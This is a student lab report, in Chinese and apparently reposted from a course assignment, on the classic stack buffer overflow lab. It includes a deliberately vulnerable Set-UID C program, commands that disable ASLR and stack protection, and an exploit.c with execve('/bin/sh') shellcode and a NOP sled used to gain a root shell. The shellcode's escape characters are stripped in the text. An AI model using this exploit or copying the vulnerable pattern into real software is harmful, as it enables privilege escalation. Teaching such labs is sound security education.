缓冲区溢出漏洞实验

一、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

二、实验准备

实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包：

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

由于实验楼中实验指导的最后一条命令无法执行成功，且后续实验中需要用到gdb，因此直接使用以下命令安装gdb：

sudo apt-get install gdb

三、实验步骤

1、初始设置

Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。

输入命令 linux32 进入32位linux环境。输入 /bin/bash 使用bash：

2、漏洞程序

在/tmp 目录下新建一个 stack.c 文件：

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
 char buffer[12];

 /* The following statement has a buffer overflow problem */ 
 strcpy(buffer, str);

	return 1;
}

int main(int argc, char **argv)
{
	char str[517];
	FILE *badfile;

	badfile = fopen("badfile", "r");
	fread(str, sizeof(char), 517, badfile);
	bof(str);

	printf("Returned Properlyn");
	return 1;
}

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

编译该程序，并设置 SET-UID。命令如下：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

3、攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。
直接下载代码exploit.c：

wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "x31xc0" //xorl %eax,%eax
    "x50"     //pushl %eax
    "x68""//sh" //pushl $0x68732f2f
    "x68""/bin"     //pushl $0x6e69622f
    "x89xe3" //movl %esp,%ebx
    "x50"     //pushl %eax
    "x53"     //pushl %ebx
    "x89xe1" //movl %esp,%ecx
    "x99"     //cdq
    "xb0x0b" //movb $0x0b,%al
    "xcdx80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代码，x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：
找到shellcode在内存中的地址，输入命令进入 gdb 调试：

gdb stack
disass main

最后获得的这个 0xffffcfb0 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
现在修改 exploit.c 文件，将 x??x??x??x?? 修改为计算的结果 x14xd0xffxff，注意顺序是反的。
然后，编译 exploit.c 程序：

gcc -m32 -o exploit exploit.c

4、攻击结果

先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

可见，通过攻击，获得了root 权限！

四、练习

1、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。

可以看到不再能够攻击成功并获得root权限。
2、将/bin/sh重新指向/bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。
通过以下命令将/bin/sh重新指向/bin/bash

sudo su
cd /bin
rm sh
ln -s /bin/bash sh
exit

先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

可以看到同样不再能够攻击成功并获得root权限。

五、实验总结

通过本次实验，我了解到了缓冲区溢出这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这对于Linux系统安全所存在的巨大威胁，同时也学习了利用缓冲区溢出漏洞来攻击系统甚至获得root权限的操作流程。

最后

以上就是故意冥王星最近收集整理的关于2022-2023-1 20222808《Linux内核原理与分析》第十一周作业缓冲区溢出漏洞实验的全部内容，更多相关2022-2023-1内容请搜索靠谱客的其他文章。